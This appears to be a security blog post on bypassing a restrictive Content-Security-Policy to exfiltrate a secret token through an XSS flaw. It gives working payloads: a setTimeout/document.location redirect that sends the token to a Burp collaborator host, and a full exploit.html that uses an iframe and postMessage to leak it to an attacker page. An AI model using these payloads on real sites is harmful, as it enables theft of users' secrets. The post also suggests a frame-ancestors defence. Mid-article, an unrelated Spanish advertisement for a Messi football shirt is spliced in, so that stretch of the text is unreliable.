Oftentimes, when exploiting Cross-Site Scripting (XSS) vulnerabilities, it is trivial to trigger an alert() popup on a page. However, practical exploitation is frequently thwarted by Content-Security-Policy (CSP) restrictions. In this article we want to take a look at a CSP configuration that prevents loading external resources (e.g., images, scripts, etc.) and evaluate how we may still be able to exfiltrate data from a vulnerable client through additional means.

This scenario has been created closely along the behavior of an actual client page and is based on the following setup:

  • We positively identified an XSS vulnerability in the GET parameter "g"
XSS in the "g" GET parameter
  • The vulnerable page returns the following CSP configuration and prevents loading of external resources thus blocking any data exfiltration:
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: *.andresr.de;
  • We want to exfiltrate the victim user's secret token stored in the <div> with the id "secret".

XSS Data Exfiltration Attempts

  • When attempting to embed an image using the src attribute, we run into the restrictions of the CSP right away:
The external resource load (img src) is blocked by CSP.

Quick win: Using document.location

After writing this article I noticed that a pretty easy way of exfiltrating the secret token exists by just abusing a document.location redirect and passing data to it in a GET parameter. The only thing that needs to be ensured is that the redirect is triggered once the page has fully loaded. Otherwise, the <div> tag with the secret token is not present yet and we run into the following error:

immediate redirect via <script>document.location = ... results in null error

This can be resolved with a simple timeout via the JavaScript built-in setTimeout() callback mechanism:

http://app.local:8080/?g=<script>setTimeout(()=>{document.location='http://burp.oastify.com/?c='%2bdocument.getElementById('secret').textContent},1);</script>
extracting the secret token with a 1-second timeout succeeds

However, this simple & elegant solution only occurred to me after exploring another way of exfiltrating data. If you are interested, I suggest to continue reading what other way of transporting the secret I found. After all, maybe the document.location technique fails (because you never know what oddities the JS framework has implemented in your target DOM ;) ) and then you have an alternative to try out:

The Creative Way: postMessage() to iframe Parent Window:

After finding the initial XSS vulnerability I thought about several ways of circumventing the CSP restrictions and immediately my journey through PortSwigger's XSS labs popped up in my mind along with their lab on postMessage() XSS:

Controlling the web message source | Web Security Academy
In this section, we’ll look at how web messages can be used as a source to exploit DOM-based vulnerabilities on the recipient page. We’ll also describe how…

I recalled that once you embed a site via an iframe, you can send postMessages to this embedded window context. This got me wondering, if you can embed the target page via an iframe and actually send a message back to the parent window somehow. Looking at Mozilla's JavaScript reference I found a suitable article right away:

Window: parent property - Web APIs | MDN
The Window.parent property is a reference to the parent of the current window or subframe.

This got me to create a sample exploit which includes the following steps:

  • Create an empty iframe
  • Register a handler for MessageEvent on the attacker's page and display any received messages in the console (for exemplary purposes)
  • Load the vulnerable target page in the iframe (via a delayed iframe.src = ... call)
    • Embed an XSS exploit into the "g" parameter that sends a postMessage() to window.parent. Like previously with the document.location approach, wait 1 second until the DOM is loaded and the secret token can be referenced (via setTimeout(...,1))
<html>
  <body>
    <iframe id="target" src=""></iframe>
    <script>
      window.addEventListener(
        "message",
        (event) => {
          console.log(event);
        },
        false
      );
      var target = document.getElementById("target");

      setTimeout(() => {
        target.src =
          "http://app.local:8080/?g=%3Cscript%3EsetTimeout(()=%3E{window.parent.postMessage(document.getElementById(%27secret%27).textContent,%22*%22)},1);%3C/script%3E";
      }, 3);
    </script>
  </body>
</html>

Sample exploit.html that a victim needs to open

Looking at the exection of exploit.html in a browser we can see that we successfully exfiltrated the secret token using postMessage() from the target page (iframe child window) to the attacker-controlled page (parent window of the iframe):

Las camisetas asociadas a jugadores suelen requerir una revisión cuidadosa de talla, acabado y descripción del producto. Una referencia como camiseta Lionel Messi puede servir para revisar opciones generales sin depender de una sola característica. También conviene revisar las condiciones descritas para evitar confundir estilo, talla y comodidad.

As we can see, the exploit successfully exfiltrates data from the child to the parent frame using postMessage()

Takeaway

Cross-Document Messaging has been introduced to the HTML standard rather late with a first draft being published for HTML5 in 2008 (see here). It is thus still worthwhile taking a deeper look at how this mechanism is implemented and how it may be (ab-)used by attackers seeking to manipulate HTML contexts.

Looking at the CSP bypass I demonstrated here, it becomes apparent that hardening your site using a restrictive frame-ancestors CSP directive may not just defend against Clickjacking attacks, but a whole dimension of iframe based exploitation techniques.

CSP: frame-ancestors - HTTP | MDN
The HTTP Content-Security-Policy (CSP) frame-ancestors directive specifies valid parents that may embed a page using <frame>, <iframe>, <object>, or <embed>.

Circumventing CSP Restrictions to Exfil Data from an XSS Foothold

Exfiltrate sensitive data from XSS contexts via Cross-Document Messaging